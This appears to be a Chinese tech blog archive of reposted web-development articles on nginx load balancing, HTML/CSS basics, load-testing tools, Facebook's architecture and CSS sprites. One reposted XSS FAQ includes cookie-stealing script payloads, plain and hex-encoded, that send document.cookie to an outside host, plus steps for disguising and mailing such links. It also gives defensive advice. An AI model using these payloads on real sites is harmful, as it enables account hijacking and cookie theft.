Skip to content

{ Category Archives } Internet

Web 开发人员速查卡

FROM: Web开发人员速查卡

无论你是多牛的程序员,你都无法记住所有的东西。而很多时候,查找某些知识又比较费事。所以,网上有很多Cheat Sheets,翻译成小抄也好 ,速查卡也好,总之就是帮你节省 时间的。之前给大家介绍过Web设计的速查卡25个jQuery的编程小抄,还有程序员小抄大全,今天转一篇开发人员的速查卡,源文在这里。下面的文章我就不翻译了。

HTML Cheat Sheet

CSS Cheat Sheets

Adobe Flash Cheat Sheets

ASP Cheat Sheets

PHP Cheat Sheets

MySQL Cheat Sheets

JavaScript Cheat Sheets

jQuery Cheat Sheets

Unicode Cheat Sheets

XML Cheat Sheets

mod_rewrite and .htaccess Cheat Sheets

Tagged

nginx的upstream目前支持5种方式的分配

FROM: 转载

1 轮询(默认)

每个请求按时间顺序逐一分配到不同的后端服务器, 如果后端服务器down掉, 能自动剔除.

2 weight

指定轮询几率, weight和访问比率成正比, 用于后端服务器性能不均的情况.
例如:

upstream bakend {
    server 192.168.0.14 weight=10;
    server 192.168.0.15 weight=10;
}
3 ip_hash

每个请求按访问ip的hash结果分配, 这样每个访客固定访问一个后端服务器, 可以解决session的问题.
例如:

upstream bakend {
    ip_hash;
    server 192.168.0.14:88;
    server 192.168.0.15:80;
}
4 fair(第三方)

按后端服务器的响应时间来分配请求, 响应时间短的优先分配.

upstream backend {
    server server1;
    server server2;
    fair;
}
5 url_hash(第三方)

按访问url的hash结果来分配请求, 使每个url定向到同一个后端服务器, 后端服务器为缓存时比较有效.

例: 在upstream中加入hash语句, server语句中不能写入weight等其他的参数, hash_method是使用的hash算法

upstream backend {
    server squid1:3128;
    server squid2:3128;
    hash $request_uri;
    hash_method crc32;
}

upstream bakend{#定义负载均衡设备的Ip及设备状态
    ip_hash;
    server 127.0.0.1:9090 down;
    server 127.0.0.1:8080 weight=2;
    server 127.0.0.1:6060;
    server 127.0.0.1:7070 backup;
}

在需要使用负载均衡的server中增加

proxy_pass http://bakend/;

每个设备的状态设置为:

  • down 表示单前的server暂时不参与负载
  • weight 默认为1.weight越大, 负载的权重就越大.
  • max_fails 许请求失败的次数默认为1.当超过最大次数时, 返回proxy_next_upstream 模块定义的错误
  • fail_timeout:max_fails max_fails 次失败后, 暂停的时间.
  • backup 其它所有的非backup机器down或者忙的时候, 请求backup机器. 所以这台机器压力会最轻.
    nginx支持同时设置多组的负载均衡, 用来给不用的server来使用.
  • client_body_in_file_only 设置为On 可以讲client post过来的数据记录到文件中用来做debug
  • client_body_temp_path 设置记录文件的目录 可以设置最多3层目录
  • location 对URL进行匹配.可以进行重定向或者进行新的代理负载均衡
Tagged

内联元素和块状元素,盒子模型

块元素(block element)

address – 地址
blockquote – 块引用
center – 举中对齐块
dir – 目录列表
div – 常用块级容易,也是CSS layout的主要标签
dl – 定义列表
fieldset – form控制组
form – 交互表单
h1 – 大标题
h2 – 副标题
h3 – 3级标题
h4 – 4级标题
h5 – 5级标题
h6 – 6级标题
hr – 水平分隔线
isindex – input prompt
menu – 菜单列表
noframes – frames可选内容, (对于不支持frame的浏览器显示此区块内容)
noscript – 可选脚本内容 (对于不支持script的浏览器显示此内容)
ol – 排序表单
p – 段落
pre – 格式化文本
table – 表格
ul – 非排序列表

内联元素(inline element)

a – 锚点
abbr – 缩写
acronym – 首字
b – 粗体(不推荐)
bdo – bidi override
big – 大字体
br – 换行
cite – 引用
code – 计算机代码(在引用源码的时候需要)
dfn – 定义字段
em – 强调
font – 字体设定(不推荐)
i – 斜体
img – 图片
input – 输入框
kbd – 定义键盘文本
label – 表格标签
q – 短引用
s – 中划线(不推荐)
samp – 定义范例计算机代码
select – 项目选择
small – 小字体文本
span – 常用内联容器,定义文本内区块
strike – 中划线
strong – 粗体强调
sub – 下标
sup – 上标
textarea – 多行文本输入框
tt – 电传文本
u – 下划线
var – 定义变量

注:内联样式权重高于外部样式。

综上所述,用实例总结一下权重分配:

<style>
span.fColor{ color:black;}
.fColor{ color:yellow;}
.fColor{ color:red !important;}
</style>
<p class="fColor" style="color:blue; color:green !important;">
<strong>颜色测试</strong>
</p>

以上实例中很明显,显示颜色为green,因为这句包含两个权重高的方面color:green !important; 第一,它属于内联样式,就内联本身就排除了blue、green之外的颜色,剩下的两个再看important权限,所以最终显示颜色是green。

CSS选择器执行权重分配如下:

 style="color:green !important;"
 style="color:blue;"
 .fColor{ color:red !important;}
 span.fColor{ color:black;}
 .fColor{ color:yellow;}

盒子模型:
W3C组织建议把所有网页上的对像都放在一个盒(box)中,设计师可以通过创建定义来控制这个盒的属性,这些对像包括段落、列表、标题、图片以及层。盒模型主要定义四个区域:内容(content)、边框距(padding)、边界(border)和边距(margin)。对于初学者,经常会搞不清楚 margin,background-color,background- image,padding,content,border之间的层次、关系和相互影响。这里提供一张盒模型的3D示意图,希望便于你的理解和记忆。

每个HTML元素都可以看作一个装了东西的盒子,盒子里面的内容到盒子的边框之间的距离即填充 (padding) ,盒子本身有边框 (border) ,而盒子边框外和其他盒子之间,还有边界 (margin) 。

盒模型的实际宽度

关于盒模型,还有以下几点需要注意:
A. 对于块级元素 (display:block) ,未浮动的垂直相邻元素的上边界和下边界会被压缩,例如:有上下2个元素,上元素的下边界为5px,下面元素的上边界为20px,则实际2个元素的间距为20px (2个边界值中较大的值) 。如图所示:

B. 块级元素 (display: block)
每个块级元素都从一个新行开始,而且其后的元素也需另起一行开始,标题、段落、表格、层、body等都是块级元素。块级元素只能作为其他块级元素的子元素,而且需要一定的条件。

C. 内联元素,例如<a>、<span>等,定义上下边界不会影响到行高 (line-height) ,内联元素距离上一行元素的距离由行高决定,而不是填充或边界。

D. 内联元素 (display:inline)
内联元素不需要在新行内显示,而且也不强迫其后的元素换行,如a、em、span等都为内联元素。内联元素可以为任何其他元素的子元素。

  

  • 浮动元素 (无论左或者右浮动) 边界不压缩,且若浮动元素不声明宽度,则其宽度趋向于0,即压缩到其内容能承受的最小宽度。
  • 如果盒中没有内容,则即使定义了宽度和高度都为100%,实际上只占0%,因此不会被显示,此点在采取层布局的时候需特别注意。
  • 边界值可为负,其显示效果各浏览器可能不相同。
  • 填充值不可为负。
  • 边框默认的样式 (border-style) 为不显示 (none) 。
  • 补充:
    1. http://hi.baidu.com/sonan/blog/item/229b5f4ee0b3e501b2de05a7.html
    2. http://www.birdol.com/article/566.html
    3. http://www.w3.org/TR/CSS2/box.html

    Tagged

    网站压力测试工具webbench

    FROM: 找到一款不错的网站压力测试工具webbench

    webbench是 *nix 系统下一网站负载能力测试工具,它最多可以模拟 3 万个并发连接。

    安装

    [root@localhost tmp]# wget http://home.tiscali.cz/~cz210552/distfiles/webbench-1.5.tar.gz
    [root@localhost tmp]# tar xvzf webbench-1.5.tar.gz
    [root@localhost tmp]# cd webbench-1.5
    [root@localhost webbench-1.5]# make
    [root@localhost webbench-1.5]# make install
    

    通过webbench --help可获得各选项:

    • -f|--force 不等待请求返回。
    • -r|--reload 发送重新载入请求: Pragma: no-cache
    • -t|--time 测试时间,单位;s, 默认 30。
    • -p|--proxy server:port 使用 proxy 发送请求。
    • -c|--clients N 一次发送的请求数, 默认 1。
    • -9|--http09 使用 HTTP/0.9 协议发送请求。
    • -1|--http10 使用 HTTP/1.0 协议发送请求。
    • -2|--http11 使用 HTTP/1.1 协议发送请求。
    • --get 使用 GET 方式发送请求。

    使用

    [root@localhost webbench-1.5]# webbench -c 500 -t 30 http://172.10.7.228/test/hs.php
    

    测试结果:

    Webbench - Simple Web Benchmark 1.5
    Copyright (c) Radim Kolar 1997-2004, GPL Open Source Software.
    
    Benchmarking: GET http://172.10.7.228/test/hs.php
    500 clients, running 30 sec.
    
    Speed=452878 pages/min, 174517 bytes/sec.
    Requests: 10857 susceed, 215582 failed.
    

    从请求结果中可看出,该服务器 500 个并发承受不住。

    Tagged

    http_load

    FROM: http_load的使用

    http_load,以并行的形式向 WEB 服务器发起请求来测试网站的吞吐量。因为运行时只有一个进程,所以不会对客户端产生压力。而且通过配置后,它还可以对 HTTPS 进行测试.

    安装

    [root@localhost tmp]# wget http://www.acme.com/software/http_load/http_load-12mar2006.tar.gz
    [root@localhost tmp]# tar xvzf http_load-12mar2006.tar.gz
    [root@localhost tmp]# cd http_load-12mar2006
    [root@localhost http_load-12mar2006]# make
    

    使用

    1 测试网站是否能承受住预期的访问压力

    [root@localhost http_load-12mar2006]# ./http_load -parallel 500 -fetches 1000 urls
    

    同时发起 500 个请求,随机访问 urls 中的网址列表,总共访问 1000 次。运行结果:

    1000 fetches, 30 max parallel, 339000 bytes, in 2.16711 seconds
    339 mean bytes/connection
    461.443 fetches/sec, 156429 bytes/sec
    msecs/connect: 2.50347 mean, 25.948 max, 0.089 min
    msecs/first-response: 21.6581 mean, 25.948 max, 20.699 min
    HTTP response codes:
      code 200 -- 1000
    

    从上面的运行结果来看,目标网站能够承受每秒 461 次访问。

    2 测试网站每秒所能承受的平均访问量

    [root@localhost http_load-12mar2006]# ./http_load -rate 5 -seconds 100 urls
    

    在 100 秒 内保持 一定的频率(5) 随机访问 urls 中的网址列表。

    499 fetches, 1 max parallel, 169161 bytes, in 100 seconds
    339 mean bytes/connection
    4.99 fetches/sec, 1691.61 bytes/sec
    msecs/connect: 0.118295 mean, 1.058 max, 0.077 min
    msecs/first-response: 2.25691 mean, 4.619 max, 1.958 min
    HTTP response codes:
      code 200 -- 499
    

    urls 文件中为测试网站的地址列表,每行只能一个。

    Tagged

    跨应用Session共享

    跨应用Session共享

    Tagged

    Facebook 海量数据处理

    作者:Fenng
    网址:

    好几个地方看到这个 Facebook – Needle in a Haystack: Efficient Storage of Billions of Photos,是 Facebook 的 Jason Sobel 做的一个 PPT,揭示了不少比较有参考价值的信息。

    图片规模

    作为世界上最大的 SNS 站点之一,Facebook 图片有多少? 65 亿张原始图片,每张图片存为 4-5 个不同尺寸,这样总计图片文件有 300 亿左右,总容量 540T,天! 峰值的时候每秒钟请求 47.5 万个图片 (当然多数通过 CDN) ,每周上传 1 亿张图片。

    图片存储

    前一段时间说 Facebook 服务器超过 10000 台,现在打开不止了吧,Facebook 融到的大把银子都用来买硬件了。图片是存储在 Netapp NAS上的,采用 NFS 方式。

    图片写入

    Facebook_write.png

    尽管这么大的量,似乎图片写入并不是问题。如上图,是直接通过 NFS 写的。

    图片读取

    Facebook.png

    CDN 和 Cachr 承担了大部分访问压力。尽管 Netapp 设备不便宜,但基本上不承担多大的访问压力,否则吃不消。CDN 针对 Profile 图象的命中率有 99.8%,普通图片也有 92% 的命中率。命中丢失的部分采由 Netapp 承担。

    图中的 Cachr 这个组件,应该是用来消息通知(基于调整过的 evhttp的嘛),Memcached 作为后端存储。Web 图片服务器是 Lighttpd,用于 FHC (文件处理 Cache),后端也是 Memcached。Facebook 的 Memcached 服务器数量差不多世界上最大了,人家连 MYSQL 服务器还有两千台呢。

    Haystacks –大海捞针

    这么大的数据量如何进行索引? 如何快速定位文件? 这是通过 Haystacks 来做到的。Haystacks 是用户层抽象机制,简单的说就是把图片元数据的进行有效的存储管理。传统的方式可能是通过 DB 来做,Facebook 是通过文件系统来完成的。通过 GET / POST 进行读/写操作,应该说,这倒也是个比较有趣的思路,如果感兴趣的话,看一下 GET / POST 请求的方法或许能给我们点启发。

    Facebook2.png

    总体来看,Facebook 的图片处理还是采用成本偏高的方法来做的。技术含量貌似并不大。不清楚是否对图片作 Tweak,比如不影响图片质量的情况下减小图片尺寸。

    Tagged ,

    Facebook 的 PHP 性能与扩展性

    作者: Fenng
    网址:

    炙手可热的 Facebook 是用 PHP 开发的。随着一些技术交流,逐渐能看到 Facebook 技术人员分享的经验。近期这个 geekSessions 站点上看到 Facebook 的 Lucas Nealan 分享的文档比较有参考价值。

    Cache 为 王

    任何一个成功的站点都有一套最合适自己的 Cache 策略。

    Facebook_Cache_Level.png

    Note:这个层次图画的稍微有点问题,不是严格从上到下的。

    The Alternative PHP Cache , APC

    Facebook 平均每个用户每天要访问超过 50 个页面,PHP的页面载入时间的优化就比较重要了。在 PHP Cache 层,Facebook 采用了 APC

    Lucas Nealan 的 PPT 举了一个例子,一个页面显示的时间从 4000 多毫秒降到了 100 多 毫秒。在 apc.stat 关闭的模式下,性能还要更好一些。不过需要重启动或用apc_cache_clear() 来通知更新。

    PHP_APC.png

    Memcached 层

    APC Cache 的是非用户相关的信息,而用户相关的数据 Cache 当然是在 Memcached 中。

    Facebook 部署了超过 400 台 Memcached 服务器,超过 5TB 的数据在 Memcached 中。这是当前世界上最大的 Memcached 集群了。也给 Memcached 贡献了不少代码,包括 UDP 的支持和性能上的提升(性能提升超过 20%)。

    程序 Profiling

    Facebook 开发人员大量采用 Callgrind 、APD、 xdebug 、KCachegrind 等工具进行基准性能测试。任何一个 Web 项目,这也是不可或缺,也是比较容易忽略的一环。所有开发人员都应该具备熟练使用这些工具的能力才好。

    补充一下:语言的选择

    为什么 Facebook 选择 PHP 而不是其他语言? 用Flickr 的 Cal Henderson 这句话就能说明了: “Languages’s don’t Scale, Architecture Scale”。

    从 80-20 的原则看,APC 和 Memcached 是最主要的。在这两个环节上下功夫,受益/开销比要大于另外几个环节。

    (上面的图是从 Lucas Nealan 的文档截的,版权所有是他的)

    Tagged ,

    跨站脚本攻击(XSS)

    FROM: http://tech.idv2.com/2006/08/30/xss-faq/
    AUTHOR: charlee

    简介

    现在的网站包含大量的动态内容以提高用户体验, 比过去要复杂得多. 所谓动态内容, 就是根据用户环境和需要, Web应用程序能够输出相应的内容. 动态站点会受到一种名为”跨站脚本攻击” (Cross Site Scripting, 安全专家们通常将其所写成 XSS) 的威胁, 而静态站点则完全不受其影响.

    什么是跨站脚本攻击

    跨站脚本攻击 (也称为XSS) 指利用网站漏洞从用户那里恶意盗取信息. 用户在浏览网站、使用即时通讯软件、甚至在阅读电子邮件时, 通常会点击其中的链接. 攻击者通过在链接中插入恶意代码, 就能够盗取用户信息. 攻击者通常会用十六进制 (或其他编码方式) 将链接编码, 以免用户怀疑它的合法性. 网站在接收到包含恶意代码的请求之后会产成一个包含恶意代码的页面, 而这个页面看起来就像是那个网站应当生成的合法页面一样. 许多流行的留言本和论坛程序允许用户发表包含HTML和javascript的帖子. 假设用户甲发表了一篇包含恶意脚本的帖子, 那么用户乙在浏览这篇帖子时, 恶意脚本就会执行, 盗取用户乙的session信息. 有关攻击方法的详细情况将在下面阐述.

    XSS和CSS是什么意思

    人们经常将跨站脚本攻击(Cross Site Scripting)缩写为CSS, 但这会与层叠样式表(Cascading Style Sheets, CSS)的缩写混淆. 因此有人将跨站脚本攻击缩写为XSS. 如果你听到有人说 “我发现了一个XSS漏洞”, 显然他是在说跨站脚本攻击.

    跨站脚本攻击有什么危害

    为了搜集用户信息, 攻击者通常会在有漏洞的程序中插入 JavaScript、VBScript、 ActiveX或Flash以欺骗用户 (详见下文) . 一旦得手, 他们可以盗取用户帐户, 修改用户设置, 盗取/污染cookie, 做虚假广告等. 每天都有大量的XSS攻击的恶意代码出现. Brett Moore的下面这篇文章详细地阐述了”拒绝服务攻击”以及用户仅仅阅读一篇文章就会受到的”自动攻击”.

    http://archives.neohapsis.com/archives/vuln-dev/2002-q1/0311.html

    能否给出几个跨站脚本攻击的例子

    著名的PHPnuke程序有很多XSS漏洞. 由于该程序十分流行, 因此经常被黑客们作为XSS的攻击对象进行检查. 下面给出了几个已公开报告的攻击方法.

    根据作为攻击对象的Web程序, 下面某些变量和插入位置可能需要进行调整. 要注意这只是攻击方法的一个例子. 在这个例子中, 我们将利用脚本”a.php”中的 “viriable”变量中的跨站脚本漏洞, 通过正常请求进行攻击. 这是跨站脚本攻击最常见的形式.

    A 锁定目标
    当你找到某个Web程序存在XSS漏洞之后, 检查一下它是否设置了cookie. 如果在该网站的任何地方设置了cookie, 那么就可以从用户那里盗取它.

    B 测试
    不同的攻击方式将产生不同的XSS漏洞, 所以应适当进行测试以使得输出结果看起来像是正常的. 某些恶意脚本插入之后会破坏输出的页面. (为欺骗用户, 输出结果非常重要, 因此攻击者有必要调整攻击代码使输出看起来正常. )

    下一步你需要在链接至包含XSS漏洞的页面的URL中插入 Javascript (或其他客户端脚本) . 下面列出了一些经常用于测试XSS漏洞的链接. 当用户点击这些链接时, 用户的 cookie 奖被发送到 www.cgisecurity.com/cgi-bin/cookie.cgi 并被显示. 如果你看到显示结果中包含了cookie信息, 说明可能可以劫持该用户的账户.

    盗取Cookie的Javascript示例. 使用方法如下:
    ASCII用法

    http://host/a.php?variable="><script>document.location='http://www.cgisecurity.com/cgi-bin/cookie.cgi? '%20+document.cookie</script>
    

    十六进制用法

    
    http://host/a.php?variable=%22%3e%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6c%6f
    
    %63%61%74%69%6f%6e%3d%27%68%74%74%70%3a%2f%2f%77%77%77%2e%63%67
    %69%73%65%63%75%72%69%74%79 %2e%63%6f%6d%2f%63%67%69%2d%62%69%6e%2f%63%6f
    %6f%6b%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63% 75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3c%2f%73%63%72%69%70%74%3e
    

    注意: 每种用法都先写为 ASCII, 再写成十六进制以便复制粘贴.

    //1
    ><script>document.location='http://www.cgisecurity.com/cgi-bin/cookie.cgi?' +document.cookie</script> 
    
    HEX %22%3e%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e
    %6c%6f%63%61%74%69%6f%6e%3d%27 %68%74%74%70%3a%2f%2f%77%77%77%2e%63%67%69%73%65
    %63%75%72%69%74%79%2e%63%6f%6d%2f%63%67%69 %2d%62%69%6e%2f
    %63%6f%6f%6b%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63%75%6d%65%6e%74%2e%63%6f %6f%6b%69%65%3c%2f%73%63%72%69%70%74%3e
    
    //2
     <script>document.location='http://www.cgisecurity.com/cgi-bin/cookie.cgi?' +document.cookie</script> 
    
    HEX %3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6c%6f
    %63%61%74%69%6f%6e%3d%27%68%74%74 %70%3a%2f%2f%77%77%77%2e%63%67%69%73%65%63%75%72
    %69%74%79%2e%63%6f%6d%2f%63%67%69%2d%62%69%6e %2f%63%6f%6f%6b
    %69%65%2e%63%67%69%3f%27%20%2b%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3c %2f%73%63%72%69%70%74%3e
    
    //3
     ><script>document.location='http://www.cgisecurity.com/cgi-bin/cookie.cgi?' +document.cookie</script> 
    
    HEX %3e%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6c
    %6f%63%61%74%69%6f%6e%3d%27%68%74 %74%70%3a%2f%2f%77%77%77%2e%63%67%69%73%65%63%75
    %72%69%74%79%2e%63%6f%6d%2f%63%67%69%2d%62%69 %6e%2f%63%6f%6f
    %6b%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65 %3c%2f%73%63%72%69%70%74%3e
    

    C 执行XSS
    将做好的URL通过电子邮件或其他方式发送出去. 注意如果你直接将URL发送给其他人 (通过电子邮件、即时通讯软件或其他方式) , 你应当将其进行十六进制编码, 因为这些URL一眼便可看出包含恶意代码, 但经过十六进制编码之后就可以欺骗大部分人.

    D 处理收集到的信息
    一旦用户点击了你的URL, 相应数据就会被发送到你的CGI脚本中. 这样你就获得了 cookie信息, 然后你可以利用Websleuth之类的工具来检查是否能盗取那个账户.

    在上面的例子中, 我们仅仅将用户带到了 cookie.cgi页面上. 如果你有时间, 你可以在CGI中将用户重定向到原来的页面上, 即可在用户不知不觉之中盗取信息.

    某些电子邮件程序在打开附件时会自动执行附件中的Javascript代码. 即使像Hotmail这样的大型网站也是如此, 不过它对附件内容作了许多过滤以避免cookie被盗.

    作为网站管理者应当如何防范

    这个问题很简单. 坚决不要相信任何用户输入并过滤所有特殊字符. 这样既可消灭绝大部分的XSS攻击. 另一个建议是输出页面时将 < 和 > 变换成 < 和 >. 要记住, XSS漏洞极具破坏性, 一旦被利用, 它会给你的事业带来极大的损害. 攻击者会将这些漏洞公之于众, 这会在用户隐私的问题上大大降低你的网站的用户信赖度. 当然, 仅仅将 ( 和 ) 变换成 < 和 > 是不够的, 最好将 ( 和 ) 变换成 ( 和 ), # 和 & 变换成 # 和 &. [即全都变为HTML 符号]

    作为用户应当如何防范

    保护自己的最好方法就是仅点击你想访问的那个网站上的链接. 例如, 如果你访问了一个网站, 该网站有一个链接指向了 CNN, 那么不要单击该链接, 而是访问 CNN 的主站点并使用搜索引擎查找相关内容. 这样可以杜绝90%以上的XSS攻击. 有时候XSS会在你打开电子邮件、打开附件、阅读留言板、阅读论坛时自动进行. 当你打开电子邮件或是在公共论坛上阅读你不认识的人的帖子时一定要注意. 最好的解决办法就是关闭浏览器的 Javascript 功能. 在IE中可以将安全级别设置为最高, 可以防止cookie被盗.

    XSS漏洞有多常见

    由于XSS漏洞很容易在大型网站中发现, 在黑客圈内它非常流行. FBI.gov、CNN.com、Time.com、Ebay、 Yahoo、Apple、Microsoft、Zdnet、Wired、Newsbytes都有这样那样的XSS漏洞.

    在商业产品中, 平均每个月能够发现10-25个XSS漏洞.

    加密能否防止XSS攻击

    使用SSL(https)加密的网站并不比不加密的网站好到哪儿去. Web程序仍然以同样的方式工作, 只是攻击是通过加密的连接实现. 有些人看到浏览器上的锁图标就认为他们是安全的, 其实不然.

    XSS漏洞能否在服务器上执行命令

    XSS漏洞会导致Javascript的恶意插入, 但它的执行受到很多限制. 如果攻击者利用浏览器的漏洞, 有可能在用户的计算机上执行命令. 因此, 就算能够执行命令也只能在客户端. 简单地说, XSS漏洞可以触发客户端的其他漏洞.

    如果我不修改CSS/XSS漏洞会怎样

    如果不修改XSS漏洞, 你的网站上的用户会受到被篡改的威胁. 许多大型网站都发现了XSS漏洞, 这个问题已经得到普遍认识. 如果不修改, 发现它的人也许会警告你的公司, 损害公司的信誉. 你拒绝修改漏洞的消息也会传到客户那里, 造成公司的信任危机. 客户不信任的话还怎么做生意

    介绍一些更深入讲解XSS的地方:
    Tagged

    CSS Sprites技术

    1 关于CSS Sprite

    CSS Sprites技术不新鲜, 早在2004年 CSS Zen Garden 的园主 Dave Shea就在ALA发表对该技术的详细阐述. 原先只在CSS玩家之间作为一种制作方法流传, 后来出来个14 Rules for Faster-Loading Web Sites, 技术人员之间竞相传阅, 其中第一条规则Make Fewer HTTP Requests就提到CSS Sprites. 于是这个就火了起来, 甚至出现了在线生成工具. 近来很多blog都提到CSS Sprites, 最著名的例子莫过于 http://www.google.co.kr/下方的那几个动画. 最新发布的YUI中, 也是使用到CSS Sprites, 几乎都有的CSS装饰图都被一个40×2000的图包办. 社交大站Facebook最近也使用了一个22×1150的图片承担了所有icon. 一时间, CSS Sprites无处不在.

    CSS Sprites是一种网页图片应用处理方式. 它允许你将一个页面涉及到的所有零星图片都包含到一张大图中去, 这样一来, 当访问该页面时, 载入的图片就不会像以前那样一幅一幅地慢慢显示出来了. 对于当前网络流行的速度而言, 不高于200KB的单张图片的所需载入时间基本是差不多的, 所以无需顾忌这个问题.

    按照yahoo的rules for high performance web sites的原则, 应当较少Client与Server端间的HTTP Request次数. 通过CSS Sprites方法将多张图片组装成单独的一张图片, 可以有效减少HTTP请求 的次数.
    当整幅图片载入完成后, 就可以使用CSS方法通过设置背景位置的方式完成所需图片的准确调用.

    2 CSS Sprite的使用

    有几篇关于CSS Sprites的文章

    3 CSS Sprite的例子

    [原文:http://blog.rexsong.com/?p=746#comments]
    A. 图片限制(Image Slicing)
    典型如文本编辑器, 小图标特别多, 打开时一张张跑出来, 给用户的感觉很不好. 如果能用一张图解决, 则不会有这个问题, 比如百度空间、163博客、Gmail都是这么做的.

    Image Slicing’s Kiss of Death
    http://www.alistapart.com/articles/sprites
    B. 单图转滚(Single-image Rollovers)
    触发切换图片的需求, 传统方案得重新请求新图片, 因为网络问题经常造成停留或等待. 如果能把多种状态合并成一张图, 就能完美解决, 然后再使用背景图技术模拟动态效果.

    ColorScheme Ratings
    http://demo.rexsong.com/200608/colorscheme_ratings/
    C. 延长背景(Extend Background Image)
    如果图片的某边可以背景平铺无限延长, 则不需要每个角、每条边单独搞出来, 图片能少一个就少一个. 其实, 这个理论还可以扩展到四角容器里, 好处是能大大简化HTML Structure.

    Extend Background Image
    http://demo.rexsong.com/200705/extend_background_image/
    D. 综合案例
    Google Korea (1和2技巧
    http://demo.rexsong.com/200705/google_korea/


    E. CSS Menus (2和3技巧)
    http://demo.rexsong.com/200705/css_background_menus/

    4 CSS Sprites的问题

    由于IE6存在的background的flicker问题IE6/Win, background image on <a>, cache=‘check every visit’: flicker!, 有人针对此问题提出了解决方案Fast Rollovers Without Preload
    关于IE6的flicker问题, fivesevensix.com上有一篇很不错的研究文章Minimize Flickering CSS Background Images in IE6
    另外:brunildo.orgCSS tests and experiments是关于css各种功能不错的参考手册和测试工具.

    5 相关资源
    Tagged